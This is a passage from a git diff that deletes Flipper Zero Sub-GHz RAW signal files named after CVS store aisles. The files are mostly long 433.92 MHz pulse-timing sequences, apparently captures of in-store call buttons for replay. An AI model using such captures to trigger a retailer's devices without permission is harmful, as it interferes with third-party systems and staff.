1588 -740 1548 -740 1592 -1500 788 -740 1580 -1504 784 -1508 820 -1500 788 -1500 824 -1504 784 -1500 828 -1504 784 -744 1580 -1504 784 -1504 828 -1504 784 -736 1592 -1500 788 -744 1580 -4588 788 -748 1556 -1520 788 -744 1560 -1516 832 -736 1548 -744 1584 -740 1544 -744 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -736 1592 -736 1548 -740 1588 -740 1548 -736 1592 -736 1548 -740 1592 -1500 788 -740 1584 -1500 784 -1504 824 -1500 788 -1500 820 -1504 788 -1500 832 -1500 784 -740 1584 -1500 784 -1500 832 -1496 788 -744 1584 -1508 780 -744 1576 -4588 788 -748 1560 -1512 796 -744 1556 -1516 832 -736 1548 -740 1592 -740 1544 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -736 1556 -736 1588 -736 1552 -740 1584 -748 1548 -736 1588 -740 1548 -740 1588 -744 1544 -740 1592 -1504 784 -744 1580 -1500 788 -1500 824 -1500 792 -1500 824 -1504 784 -1504 828 -1500 788 -744 1576 -1504 784 -1508 824 -1508 780 -740 1592 -1500 788 -740 1584 -4588 792 -744 1560 -1516 796 -740 1564 -1516 -RAW_Data: 828 -740 1556 -736 1588 -740 1544 -744 1588 -744 1544 -740 1588 -744 1548 -744 1584 -740 1552 -740 1588 -744 1548 -740 1584 -740 1552 -736 1592 -740 1548 -740 1588 -744 1544 -740 1592 -736 1552 -740 1588 -1508 784 -740 1580 -1504 788 -1504 824 -1504 784 -1504 820 -1504 788 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1508 780 -740 1592 -1504 784 -744 1580 -4584 792 -748 1560 -1516 788 -748 1560 -1516 828 -744 1548 -744 1580 -740 1552 -744 1584 -740 1548 -740 1588 -740 1548 -740 1592 -740 1544 -740 1592 -740 1548 -736 1588 -744 1544 -744 1584 -740 1552 -740 1588 -740 1548 -744 1580 -740 1552 -740 1588 -1508 784 -736 1588 -1504 780 -1504 828 -1500 788 -1500 824 -1508 784 -1500 832 -1500 788 -740 1584 -1500 792 -1500 832 -1500 784 -740 1588 -1500 792 -740 1580 -4588 792 -744 1560 -1520 788 -744 1564 -1516 828 -740 1552 -740 1584 -744 1548 -740 1592 -736 1548 -740 1592 -736 1552 -744 1584 -740 1552 -740 1588 -744 1544 -744 1588 -740 1552 -744 1584 -736 1556 -736 1588 -744 1552 -736 1592 -740 1544 -744 1592 -1500 792 -736 1584 -1504 788 -1496 828 -1508 780 -1500 828 -1500 788 -1504 828 -1504 784 -740 1584 -1504 784 -1508 824 -1508 784 -740 1588 -1500 784 -740 1584 -4592 788 -748 1560 -1512 792 -748 1560 -1516 832 -736 1552 -740 1584 -740 1552 -744 1580 -744 1552 -736 1588 -744 1544 -744 1588 -740 1548 -740 1588 -740 1552 -744 1584 -740 1552 -740 1588 -744 1544 -740 1592 -740 1548 -744 1584 -740 1552 -744 1588 -1504 784 -740 1588 -1504 784 -1504 824 -1500 788 -1504 824 -1504 784 -1500 832 -1504 788 -740 1580 -1504 788 -1500 828 -1504 784 -744 1584 -1504 788 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Sixteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Sixteen.sub deleted file mode 100644 index 05fc4813e..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Sixteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -744 1560 -1516 828 -740 1544 -740 1584 -740 1548 -744 1584 -736 1548 -740 1588 -740 1544 -740 1584 -744 1544 -740 1584 -744 1544 -740 1592 -736 1548 -736 1588 -744 1544 -736 1592 -740 1540 -740 1588 -740 1548 -740 1588 -1504 788 -740 1584 -1504 784 -740 1584 -1504 780 -744 1580 -1500 784 -1504 824 -1500 788 -1504 820 -1504 784 -1500 828 -1504 784 -744 1584 -1504 784 -744 1576 -4584 792 -744 1560 -1516 788 -748 1564 -1512 828 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1552 -740 1584 -736 1552 -744 1584 -736 1548 -740 1588 -744 1544 -740 1592 -740 1540 -740 1592 -736 1548 -740 1588 -744 1540 -744 1592 -1504 784 -740 1584 -1504 784 -744 1580 -1504 788 -736 1580 -1508 784 -1500 824 -1500 784 -1508 820 -1500 788 -1504 832 -1500 784 -736 1592 -1500 788 -740 1580 -4584 796 -744 1560 -1512 796 -744 1564 -1512 824 -744 1548 -740 1588 -740 1548 -740 1588 -744 1540 -748 1588 -736 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -740 1588 -744 1544 -736 1592 -1500 792 -736 1588 -1500 784 -740 1588 -1504 784 -744 1576 -1504 788 -1500 824 -1504 780 -1500 828 -1500 784 -1500 828 -1508 780 -740 1588 -1504 784 -740 1576 -4588 792 -744 1560 -1516 788 -748 1560 -1516 824 -744 1548 -740 1584 -740 1552 -736 1580 -744 1552 -736 1588 -736 1552 -740 1588 -740 1544 -744 1584 -744 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1592 -1500 784 -740 1588 -1500 784 -740 1592 -1500 784 -740 1584 -1500 784 -1504 824 -1500 788 -1500 824 -1504 784 -1500 832 -1496 792 -740 1584 -1504 784 -744 1576 -4592 792 -744 1560 -1512 792 -748 1560 -1512 828 -740 1552 -740 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -736 1588 -744 1544 -740 1588 -740 1548 -740 1592 -740 1544 -740 1588 -740 1548 -736 1592 -1504 788 -740 1584 -1504 784 -744 1584 -1500 792 -740 1576 -1508 784 -1500 824 -1504 788 -1496 824 -1508 784 -1500 832 -1500 780 -744 1584 -1504 784 -740 1580 -4592 784 -752 1560 -1512 792 -744 1564 -1512 832 -740 1548 -740 1592 -740 1548 -740 1584 -744 1544 -744 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1588 -740 1552 -736 1584 -740 1556 -736 1588 -740 1552 -736 1588 -740 1552 -740 1592 -1504 780 -736 1592 -1504 780 -740 1592 -1500 788 -740 1584 -1500 784 -1504 828 -1496 792 -1500 824 -1504 784 -1504 828 -1504 784 -740 1584 -1508 784 -736 1580 -4588 792 -748 1560 -1512 792 -744 1564 -1512 -RAW_Data: 832 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1592 -740 1544 -740 1592 -736 1548 -740 1588 -744 1548 -744 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1588 -1508 780 -744 1584 -1504 788 -736 1592 -1500 784 -744 1580 -1508 784 -1504 820 -1504 784 -1504 824 -1504 784 -1504 828 -1508 780 -740 1588 -1508 780 -740 1580 -4592 784 -752 1560 -1516 788 -748 1556 -1520 828 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1552 -736 1588 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1588 -744 1544 -740 1588 -744 1544 -740 1592 -1504 784 -740 1584 -1504 788 -740 1580 -1508 788 -740 1576 -1504 788 -1500 824 -1500 788 -1496 832 -1500 784 -1508 824 -1504 784 -740 1588 -1504 784 -736 1584 -4588 796 -744 1556 -1516 792 -744 1560 -1516 832 -740 1548 -740 1584 -740 1556 -740 1584 -740 1552 -740 1588 -736 1548 -744 1588 -740 1548 -740 1588 -740 1552 -740 1580 -744 1552 -740 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1592 -1500 792 -740 1584 -1508 780 -744 1588 -1500 784 -744 1584 -1500 784 -1508 820 -1500 788 -1504 820 -1508 784 -1500 832 -1500 788 -744 1584 -1500 784 -740 1584 -4588 792 -748 1556 -1516 792 -744 1560 -1516 832 -740 1548 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -744 1544 -740 1588 -744 1548 -740 1588 -736 1552 -744 1584 -736 1552 -744 1584 -744 1544 -740 1588 -744 1544 -740 1588 -744 1544 -740 1592 -1500 788 -740 1584 -1504 788 -740 1584 -1504 780 -744 1584 -1504 780 -1508 824 -1500 784 -1508 820 -1504 784 -1500 828 -1504 784 -744 1580 -1512 780 -740 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Ten.sub b/assets/resources/subghz/Stores/CVS/Aisle_Ten.sub deleted file mode 100644 index 6aa477d61..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Ten.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1560 -1512 784 -752 1556 -1520 824 -740 1548 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -736 1588 -744 1544 -744 1584 -740 1552 -740 1580 -744 1548 -744 1584 -740 1548 -744 1584 -744 1540 -744 1588 -740 1540 -748 1588 -1500 784 -744 1580 -1508 780 -1504 828 -1500 788 -740 1584 -1504 784 -740 1580 -1500 788 -1504 820 -1504 784 -1500 832 -1500 784 -744 1584 -1500 784 -744 1580 -4584 788 -748 1556 -1516 792 -752 1556 -1516 824 -744 1548 -740 1584 -744 1544 -748 1580 -740 1552 -740 1584 -740 1544 -744 1584 -740 1548 -744 1584 -736 1552 -744 1584 -736 1548 -744 1580 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -1508 784 -740 1580 -1504 784 -1508 820 -1512 780 -740 1584 -1508 780 -740 1584 -1504 784 -1504 820 -1504 780 -1508 824 -1504 784 -744 1584 -1508 780 -744 1580 -4584 792 -744 1560 -1516 788 -748 1556 -1516 832 -740 1548 -740 1588 -744 1544 -744 1580 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -744 1548 -740 1584 -744 1544 -748 1580 -744 1548 -744 1588 -1504 788 -740 1580 -1504 784 -1508 828 -1500 788 -740 1584 -1508 784 -740 1584 -1504 780 -1508 820 -1508 780 -1508 820 -1504 788 -740 1588 -1504 784 -740 1580 -4588 792 -748 1556 -1516 792 -748 1556 -1520 828 -740 1548 -740 1588 -740 1544 -740 1588 -740 1548 -744 1588 -736 1548 -740 1584 -744 1548 -744 1588 -736 1548 -740 1588 -744 1540 -744 1588 -736 1548 -740 1588 -744 1544 -744 1584 -740 1548 -736 1592 -1504 784 -740 1584 -1504 780 -1504 832 -1504 780 -744 1584 -1508 780 -744 1576 -1508 784 -1504 820 -1504 788 -1504 824 -1504 788 -740 1584 -1504 784 -740 1580 -4592 784 -748 1564 -1512 788 -752 1556 -1516 828 -740 1548 -744 1584 -740 1548 -744 1588 -740 1548 -740 1588 -744 1544 -740 1588 -744 1544 -744 1584 -740 1548 -748 1584 -736 1548 -748 1584 -744 1548 -736 1588 -744 1544 -740 1588 -740 1544 -748 1588 -1504 780 -744 1580 -1504 784 -1504 824 -1508 784 -740 1588 -1504 784 -740 1580 -1504 784 -1508 824 -1500 784 -1508 824 -1508 784 -736 1584 -1508 788 -740 1580 -4584 788 -752 1556 -1520 788 -748 1556 -1516 828 -748 1540 -744 1588 -740 1548 -744 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -736 1548 -744 1584 -748 1548 -740 1588 -740 1544 -748 1580 -748 1544 -744 1584 -740 1548 -744 1584 -1508 784 -744 1576 -1504 788 -1500 832 -1500 784 -744 1584 -1504 784 -744 1580 -1500 788 -1504 820 -1504 784 -1504 828 -1500 788 -740 1588 -1504 784 -740 1584 -4588 788 -748 1560 -1516 784 -752 1556 -1516 -RAW_Data: 832 -740 1548 -736 1588 -740 1548 -740 1588 -740 1540 -744 1584 -744 1548 -740 1584 -744 1544 -740 1588 -740 1548 -744 1580 -740 1548 -744 1584 -744 1544 -736 1592 -740 1544 -744 1584 -744 1544 -744 1584 -1508 784 -744 1572 -1508 784 -1504 828 -1504 780 -744 1588 -1500 784 -740 1584 -1500 784 -1508 824 -1500 784 -1508 820 -1508 784 -740 1588 -1504 784 -740 1576 -4588 792 -748 1556 -1516 788 -752 1556 -1516 828 -736 1552 -744 1584 -736 1548 -744 1584 -744 1544 -740 1588 -744 1544 -744 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -744 1584 -744 1544 -744 1588 -744 1540 -744 1588 -744 1544 -740 1588 -1504 784 -744 1576 -1508 784 -1504 828 -1508 780 -740 1584 -1508 784 -740 1580 -1504 784 -1508 820 -1500 788 -1504 828 -1508 780 -740 1588 -1504 784 -740 1580 -4592 792 -744 1560 -1516 792 -748 1556 -1516 832 -744 1544 -740 1588 -740 1544 -744 1588 -740 1548 -736 1588 -744 1548 -740 1588 -740 1548 -744 1584 -740 1544 -744 1588 -740 1548 -744 1580 -740 1548 -744 1584 -744 1544 -744 1580 -744 1548 -744 1588 -1504 784 -740 1584 -1504 784 -1504 824 -1508 780 -744 1588 -1500 788 -744 1576 -1508 784 -1500 824 -1504 784 -1500 832 -1500 784 -744 1584 -1504 784 -740 1580 -4584 792 -744 1560 -1512 792 -748 1560 -1512 832 -740 1548 -736 1588 -744 1544 -744 1584 -740 1552 -736 1588 -736 1548 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1544 -744 1588 -740 1548 -744 1584 -740 1544 -744 1580 -744 1548 -740 1592 -1508 776 -744 1580 -1508 780 -1500 832 -1504 784 -744 1584 -1500 784 -744 1580 -1508 780 -1504 824 -1504 780 -1508 824 -1508 780 -740 1584 -1508 780 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Thirteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Thirteen.sub deleted file mode 100644 index ba09b8012..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Thirteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 808 -744 1560 -1508 792 -748 1556 -1512 832 -740 1544 -744 1584 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -744 1544 -740 1588 -740 1544 -740 1588 -1500 788 -1500 832 -1500 784 -740 1584 -1496 788 -1504 828 -1504 784 -744 1576 -1504 784 -1504 832 -1496 788 -736 1584 -1500 788 -1500 824 -1504 784 -1504 820 -4588 792 -748 1560 -1516 792 -744 1560 -1516 832 -736 1552 -740 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1588 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -740 1584 -1500 788 -1500 828 -1504 784 -740 1580 -1504 784 -1504 828 -1500 784 -740 1584 -1504 784 -1500 832 -1504 784 -736 1584 -1504 780 -1504 824 -1504 784 -1504 820 -4584 792 -748 1556 -1516 792 -744 1560 -1516 828 -744 1544 -744 1584 -740 1552 -740 1584 -740 1548 -740 1588 -740 1548 -736 1592 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -1504 784 -1500 832 -1500 788 -736 1584 -1500 788 -1500 828 -1504 784 -740 1584 -1500 784 -1508 828 -1500 784 -740 1588 -1500 784 -1500 824 -1504 784 -1504 824 -4588 788 -748 1560 -1512 796 -744 1560 -1512 832 -740 1548 -740 1584 -740 1552 -736 1592 -740 1548 -740 1588 -740 1544 -744 1588 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1552 -744 1584 -740 1548 -740 1584 -1500 788 -1500 832 -1500 784 -740 1584 -1500 788 -1500 828 -1504 784 -740 1580 -1504 784 -1504 828 -1500 784 -744 1580 -1504 784 -1504 824 -1508 780 -1504 820 -4588 788 -748 1560 -1516 788 -748 1560 -1512 832 -740 1552 -740 1584 -740 1548 -744 1584 -740 1552 -736 1592 -736 1548 -740 1588 -740 1548 -744 1584 -744 1548 -740 1584 -740 1552 -736 1592 -740 1548 -744 1580 -740 1552 -740 1588 -744 1544 -740 1588 -1504 784 -1504 832 -1496 788 -744 1576 -1504 788 -1500 828 -1504 788 -740 1584 -1496 792 -1500 828 -1504 788 -740 1580 -1500 788 -1504 820 -1504 784 -1500 824 -4588 792 -748 1560 -1516 788 -744 1560 -1512 836 -736 1552 -736 1588 -744 1544 -744 1584 -740 1552 -744 1580 -744 1548 -740 1588 -740 1548 -744 1584 -744 1548 -740 1584 -744 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -1500 792 -1496 832 -1504 784 -740 1584 -1500 788 -1500 828 -1504 788 -736 1584 -1504 788 -1500 828 -1504 784 -744 1576 -1508 780 -1504 824 -1500 784 -1504 824 -4584 792 -744 1560 -1516 796 -740 1560 -1520 -RAW_Data: 828 -744 1544 -740 1588 -740 1548 -740 1592 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1544 -740 1592 -736 1548 -744 1584 -744 1548 -732 1592 -740 1548 -736 1596 -736 1552 -736 1584 -1508 784 -1504 828 -1504 784 -736 1584 -1500 788 -1504 824 -1508 780 -740 1580 -1508 780 -1504 828 -1500 788 -744 1580 -1504 776 -1508 824 -1504 784 -1500 824 -4580 796 -744 1560 -1512 796 -740 1560 -1516 828 -744 1544 -744 1584 -736 1552 -736 1592 -740 1548 -736 1592 -736 1552 -740 1584 -736 1552 -744 1584 -740 1544 -744 1588 -740 1548 -740 1584 -740 1548 -744 1580 -748 1544 -740 1584 -744 1548 -736 1588 -1504 784 -1500 832 -1504 780 -744 1580 -1504 784 -1500 828 -1504 784 -744 1580 -1500 784 -1504 832 -1496 788 -744 1584 -1496 788 -1504 820 -1508 784 -1496 828 -4584 792 -744 1560 -1516 792 -748 1560 -1512 832 -740 1552 -736 1588 -740 1548 -744 1580 -744 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1592 -736 1548 -744 1584 -736 1556 -736 1588 -736 1556 -736 1584 -736 1552 -740 1588 -744 1544 -736 1588 -1508 780 -1500 832 -1504 784 -736 1584 -1504 780 -1504 828 -1504 784 -740 1580 -1500 788 -1504 824 -1500 788 -740 1580 -1504 784 -1500 828 -1500 784 -1500 824 -4584 788 -748 1560 -1512 792 -744 1560 -1516 832 -736 1548 -736 1588 -744 1544 -744 1580 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -740 1588 -740 1544 -744 1584 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -744 1580 -740 1552 -736 1584 -1504 784 -1504 832 -1496 784 -740 1580 -1504 784 -1504 828 -1504 784 -740 1576 -1500 788 -1504 824 -1504 784 -744 1580 -1496 788 -1500 824 -1504 780 -1500 804 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Three.sub b/assets/resources/subghz/Stores/CVS/Aisle_Three.sub deleted file mode 100644 index 174fba31d..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Three.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1516 788 -744 1560 -1516 828 -744 1544 -744 1580 -744 1548 -736 1588 -740 1548 -740 1584 -744 1548 -736 1588 -740 1548 -744 1580 -744 1544 -744 1584 -744 1544 -740 1588 -740 1548 -744 1584 -740 1544 -744 1584 -740 1548 -740 1588 -1500 788 -1500 824 -1508 784 -1500 828 -1504 784 -740 1584 -1504 784 -1500 828 -1508 780 -740 1584 -1504 784 -1504 824 -1504 788 -740 1584 -1504 780 -744 1580 -4588 792 -744 1560 -1512 792 -748 1560 -1512 832 -740 1548 -736 1588 -744 1544 -744 1584 -744 1544 -744 1584 -744 1544 -740 1592 -740 1544 -744 1580 -744 1544 -748 1584 -740 1548 -744 1584 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -1504 784 -1504 824 -1504 784 -1504 828 -1504 784 -740 1580 -1504 788 -1500 828 -1508 784 -740 1580 -1508 780 -1508 824 -1508 780 -744 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1512 792 -744 1564 -1512 832 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -736 1556 -736 1588 -740 1548 -740 1584 -740 1552 -736 1588 -736 1556 -740 1584 -740 1548 -744 1580 -744 1544 -744 1584 -744 1548 -736 1584 -1504 788 -1500 824 -1500 784 -1508 824 -1504 784 -740 1584 -1500 784 -1504 828 -1504 784 -736 1588 -1500 784 -1504 828 -1504 784 -740 1584 -1500 788 -744 1576 -4592 792 -744 1560 -1516 788 -744 1560 -1516 828 -744 1544 -740 1592 -736 1552 -736 1588 -744 1544 -744 1584 -740 1548 -740 1584 -740 1552 -736 1592 -736 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1584 -1504 784 -1504 820 -1508 780 -1504 828 -1504 784 -740 1580 -1508 784 -1500 828 -1500 788 -740 1580 -1504 784 -1504 828 -1504 784 -740 1584 -1508 780 -744 1580 -4588 788 -744 1564 -1516 792 -740 1560 -1520 828 -740 1544 -744 1584 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -736 1588 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1552 -736 1592 -736 1552 -740 1588 -1500 784 -1500 824 -1504 788 -1500 828 -1508 784 -736 1584 -1508 784 -1500 832 -1504 788 -740 1580 -1508 780 -1508 828 -1500 788 -744 1580 -1512 780 -740 1584 -4592 788 -748 1564 -1516 792 -744 1560 -1516 828 -744 1548 -740 1588 -744 1544 -744 1584 -748 1544 -740 1584 -740 1552 -740 1588 -736 1552 -744 1584 -740 1548 -740 1592 -732 1552 -740 1588 -744 1544 -744 1584 -744 1548 -740 1592 -736 1548 -744 1584 -1504 780 -1512 824 -1500 788 -1496 832 -1504 788 -736 1584 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -1508 828 -1500 784 -744 1584 -1508 784 -736 1580 -4592 788 -748 1560 -1516 788 -748 1560 -1512 -RAW_Data: 832 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -736 1552 -736 1592 -740 1544 -744 1584 -740 1548 -748 1584 -736 1552 -740 1588 -744 1544 -740 1588 -740 1552 -740 1588 -740 1548 -740 1584 -1508 780 -1508 820 -1508 784 -1500 828 -1504 784 -736 1584 -1508 784 -1504 824 -1504 784 -740 1580 -1508 784 -1500 828 -1504 784 -740 1588 -1504 784 -740 1580 -4588 788 -748 1556 -1516 792 -744 1560 -1512 832 -740 1548 -744 1584 -744 1544 -740 1584 -744 1548 -740 1588 -736 1552 -736 1592 -740 1540 -748 1584 -744 1544 -744 1584 -740 1552 -736 1592 -736 1548 -744 1584 -744 1544 -740 1588 -736 1556 -732 1592 -1500 788 -1500 824 -1504 784 -1508 824 -1504 784 -744 1576 -1508 784 -1504 828 -1500 784 -744 1580 -1504 784 -1504 828 -1500 784 -744 1584 -1504 788 -736 1584 -4588 788 -748 1556 -1516 784 -748 1560 -1516 828 -740 1548 -736 1588 -740 1552 -736 1592 -740 1544 -744 1584 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -740 1584 -744 1544 -744 1580 -744 1548 -740 1588 -736 1552 -740 1584 -740 1548 -740 1588 -1500 784 -1504 820 -1508 780 -1504 828 -1500 784 -748 1576 -1504 784 -1504 828 -1504 784 -744 1576 -1504 788 -1504 824 -1504 784 -744 1584 -1504 784 -736 1584 -4588 792 -744 1560 -1516 788 -744 1560 -1516 828 -740 1552 -736 1592 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -736 1592 -736 1548 -744 1584 -744 1544 -744 1584 -744 1548 -736 1588 -740 1552 -744 1580 -744 1548 -740 1584 -744 1548 -740 1584 -1508 780 -1504 824 -1504 784 -1500 832 -1500 788 -740 1584 -1500 784 -1504 828 -1504 784 -744 1580 -1500 784 -1508 824 -1504 788 -740 1584 -1504 784 -740 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Twelve.sub b/assets/resources/subghz/Stores/CVS/Aisle_Twelve.sub deleted file mode 100644 index 5a57828e0..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Twelve.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -744 1560 -1516 828 -744 1544 -740 1588 -736 1552 -736 1592 -736 1548 -744 1584 -744 1544 -744 1584 -740 1552 -740 1588 -736 1548 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -736 1596 -1496 788 -744 1584 -1504 784 -744 1576 -1504 784 -1504 832 -1500 784 -740 1580 -1504 784 -1504 820 -1504 788 -1500 824 -1504 788 -740 1584 -1508 780 -736 1584 -4588 792 -748 1560 -1512 792 -744 1560 -1512 836 -740 1544 -744 1580 -744 1544 -744 1580 -744 1548 -744 1584 -744 1540 -744 1584 -744 1544 -740 1588 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -736 1548 -744 1580 -748 1544 -740 1588 -1504 788 -736 1588 -1500 784 -744 1584 -1500 788 -1500 828 -1504 784 -740 1576 -1508 784 -1504 824 -1500 784 -1504 832 -1504 784 -740 1588 -1500 788 -736 1584 -4588 788 -752 1556 -1516 788 -748 1560 -1516 828 -744 1544 -744 1584 -740 1548 -744 1588 -736 1552 -736 1592 -740 1552 -736 1588 -740 1548 -740 1588 -744 1548 -740 1584 -744 1544 -748 1584 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1592 -1500 788 -736 1592 -1496 788 -744 1580 -1504 784 -1504 832 -1500 788 -740 1580 -1504 784 -1504 824 -1504 784 -1500 828 -1508 784 -740 1588 -1504 784 -736 1584 -4592 792 -744 1564 -1512 792 -744 1564 -1512 828 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -744 1584 -740 1544 -744 1588 -740 1548 -744 1584 -740 1548 -744 1588 -740 1544 -744 1584 -744 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1592 -1504 784 -736 1592 -1500 792 -732 1584 -1504 788 -1504 828 -1504 784 -744 1580 -1500 788 -1500 824 -1504 784 -1508 828 -1504 784 -744 1584 -1504 784 -744 1584 -4588 788 -744 1564 -1512 792 -748 1560 -1516 828 -744 1548 -740 1584 -748 1544 -744 1584 -740 1544 -748 1580 -744 1548 -744 1584 -744 1548 -740 1588 -744 1548 -740 1584 -744 1548 -744 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1588 -1508 780 -740 1592 -1500 788 -736 1588 -1504 784 -1504 828 -1504 784 -740 1584 -1504 788 -1500 824 -1504 784 -1508 828 -1504 788 -736 1588 -1504 788 -740 1584 -4588 792 -744 1560 -1516 792 -748 1560 -1516 832 -740 1548 -744 1588 -740 1548 -740 1592 -736 1552 -740 1588 -740 1552 -736 1592 -736 1556 -736 1592 -740 1552 -732 1596 -740 1548 -740 1588 -740 1552 -736 1592 -740 1548 -744 1588 -736 1552 -740 1592 -1504 784 -748 1584 -1508 780 -744 1580 -1504 788 -1504 832 -1500 784 -736 1584 -1504 788 -1500 824 -1504 788 -1500 828 -1504 788 -744 1584 -1504 784 -744 1576 -4592 788 -748 1560 -1512 796 -744 1560 -1520 -RAW_Data: 828 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -744 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -744 1584 -744 1548 -744 1584 -740 1548 -740 1588 -740 1552 -736 1592 -740 1552 -736 1588 -1504 788 -740 1584 -1504 788 -740 1588 -1500 788 -1500 832 -1504 784 -740 1584 -1504 784 -1504 824 -1508 780 -1508 828 -1496 788 -744 1584 -1500 784 -748 1580 -4592 788 -748 1560 -1512 792 -748 1560 -1512 832 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -740 1552 -736 1588 -740 1552 -740 1588 -740 1548 -740 1592 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -744 1580 -744 1548 -744 1588 -1504 784 -744 1584 -1504 784 -740 1580 -1504 788 -1496 832 -1504 784 -740 1584 -1504 784 -1500 824 -1508 784 -1504 828 -1504 784 -736 1588 -1504 788 -736 1584 -4588 792 -744 1564 -1508 792 -744 1564 -1512 836 -736 1552 -740 1588 -740 1552 -740 1584 -740 1552 -740 1588 -740 1548 -740 1584 -748 1544 -740 1588 -744 1544 -744 1584 -744 1544 -740 1588 -744 1548 -740 1588 -736 1548 -740 1592 -732 1552 -736 1596 -1504 784 -740 1588 -1500 792 -732 1584 -1508 776 -1508 832 -1500 784 -740 1584 -1504 784 -1500 824 -1508 780 -1504 832 -1496 788 -740 1588 -1496 792 -736 1580 -4588 792 -744 1560 -1516 792 -744 1560 -1512 836 -740 1544 -744 1580 -748 1544 -740 1588 -736 1548 -740 1592 -736 1552 -740 1588 -740 1548 -740 1588 -740 1552 -736 1592 -732 